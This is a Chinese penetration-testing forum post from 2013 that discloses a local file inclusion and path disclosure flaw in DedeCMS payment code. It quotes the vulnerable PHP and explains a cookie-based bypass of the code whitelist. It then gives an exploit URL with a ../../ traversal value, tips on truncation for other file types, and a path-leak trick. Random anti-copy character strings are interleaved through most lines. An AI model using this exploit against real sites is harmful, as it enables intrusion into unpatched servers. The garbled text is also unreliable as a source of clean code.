中国网络渗透测试联盟
标题:
dedecms本地文件包含及物理路径泄露0day
[打印本页]
作者:
admin
时间:
2013-4-4 17:25
标题:
dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
% L, J# q( `/ X# W% C# P% g }7 }: B
9 [( \; N7 |0 w
出现漏洞的两个文件为:
* j) \* \; \$ H7 C' N
Include/payment/alipay.php
; c2 V+ ]+ i7 }2 v
Include/payment/yeepay.php
5 e4 {1 \8 [+ |
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
" p9 I; |; h, I1 W' h( I2 o
5 N4 ]* }" ^9 D5 g! h
Include/payment/alipay.php
+ I$ I4 L: j4 x; i
$ Y$ T1 d) m9 R* Q- |. T
......
2 n2 ?) y8 o" p$ d- |( ^4 \
function respond()
4 G" F; I6 h8 R/ u( T# H! R7 M
{
5 S( ~$ D$ ]; K r" H0 ?) N6 z. q
if (!empty($_POST))
* _9 `, U' S( P: m8 ?, @2 Y
{
/ H- v# T* Y2 s4 O
foreach($_POST as $key => $data)
. Q5 \ y; j3 Q- I* K" C$ B
{
4 ]6 g2 F& R. k6 K2 Z
$_GET[$key] = $data;
w& k% G* y( w9 F) H$ G! h- u2 _
}
- e; P2 q+ j- n: }! ~" H4 t
}
: a7 c" e8 x8 A/ N- ]# c
/* 引入配置文件 */
: t- m0 X% e: Q$ T! W3 }
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
~' u8 ~; `( N" a3 o2 q3 r
......
) C/ ~# L, ?7 h( Y. S
, N0 ?$ q1 N! M
4 X1 X3 k& L y3 ^+ R3 w
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
0 L6 N8 E$ k5 w- W* f6 v$ f
0 K" n* |/ u5 C c+ T
Include/payment/yeepay.php
$ g/ t+ p( ~0 R0 [8 }" F+ _; G
, X; f4 c) w9 a5 o
2 i# {( A$ A0 n3 B1 L
0 c0 u( Y) f3 ]6 R' p1 W3 x5 o" x" v
......
& e4 Y# O1 E$ v. J& T/ v/ C
function respond()
. ~9 b! Z( ^) s% @$ L
{
' u" p$ A' ?. ]7 b7 [8 @
6 g: }- |5 _! k* o8 J5 x" B
/* 引入配置文件 */
; C3 }; h/ b1 O
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
. m6 ]% [: t1 Z; d0 V- j
( Y. E2 K+ C% ]4 F# i& t( D
$p1_MerId = trim($payment['yp_account']);
8 w5 _/ t0 q* ~ k
$merchantKey = trim($payment['yp_key']);
- c1 Q; y& i M' m
......
- D9 l8 r' n! J. x* H/ p
: I8 M8 C b, q- h; K; t
+ E4 S* b) o- `7 M3 R V% T- B
& P) p1 ~5 f. j3 \$ E" O% B
( @" _$ {" T2 t+ x5 S# Y
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
: b- V2 [3 s( m
' J. | L1 c6 V( }* W! l2 }
这两个方法在plus/carbuyaction.php文件调用。
: r+ ?4 z% ~$ i) j+ c: @* W
4 ?9 N4 z- V/ b# u9 k9 B! f
plus/carbuyaction.php
3 `0 c9 n+ T, M' n0 J9 j2 _# T
$ T# S5 Y/ U, X2 R
......
- e* r0 N% G& k7 V$ Y
} else if ($dopost == 'return') {
" c: S% e) [! U3 l3 A. o$ c+ s0 `
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
|) ]0 Y! M9 W$ r0 ^9 b1 D
if (in_array($code, $write_list))
# Q/ B) e2 W4 P7 N, {% W4 O8 |2 X0 C
{
5 }' Q* ~2 \7 h! P" X; B! C4 C
require_once DEDEINC.'/payment/'.$code.'.php';
3 H/ D* T! \* H) J6 i7 e2 j
$pay = new $code;
( @6 ^! l9 W" f
$msg=$pay->respond();
5 I/ l4 m- G5 Q! a+ J; U% w
ShowMsg($msg, "javascript:;", 0, 3000);
" s, q8 F r* c) J) t' t
exit();
( H: ?; S% i* c) E$ A! `$ U9 f
} else {
2 |7 f7 u. |! b+ [, W; {7 |
exit('Error:File Type Can\'t Recognized!');
* G4 f& M- N' }; d: ?
}
E; w* O4 C8 M
}
9 r* L7 [! K& U. E
......
0 L2 r0 R1 Y, V9 K5 E: s
P7 \5 D$ j2 C9 t
* t4 ?2 x' x; D; v& i0 |
/ p, Q) L0 C! \8 G" {! Z9 X
4 M' K, c8 a: s, E1 ]3 L
8 k4 p( ?! M5 L" J p3 y& U2 f8 J6 |
* N- F0 h3 a) c6 R, C" ]
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
6 B$ B2 R6 \1 d8 \
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
0 `2 B1 Q* ^$ r
4 J) F9 ], m3 C) F
回到include/common.inc.php来看看他的机制。
$ T6 L/ ?9 D3 n) l
) V7 M: b+ e; w l% V$ R
, y: y$ I2 \, Q7 m9 k( w
+ M8 P3 @ `7 a# [. v
......
?7 ?+ F& P) e+ e% W+ J
foreach(Array('_GET','_POST','_COOKIE') as $_request)
$ a4 M p: c) b7 [* y
{
3 S" f T2 i' n( ?0 V7 y+ t
foreach($$_request as $_k => $_v)
9 E" N6 M7 S8 V) l/ k
{
$ a4 X4 ]1 r; Y+ m: F% g
if($_k == 'nvarname') ${$_k} = $_v;
! z+ D x. w6 B6 ]/ Q% }, f
else ${$_k} = _RunMagicQuotes($_v);
{3 G& m# v+ i- m
}
0 D# N4 t, l% ^3 R# |7 ]3 x. u
}
! K5 A6 j) u+ B; R/ R, M8 n
......
1 F' ]: p& \( v# e1 Y7 Z
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:
http://www.php0day.com/plus/carb ... amp;code=../../tags
上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
; T9 K% u0 q4 e, S/ u
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2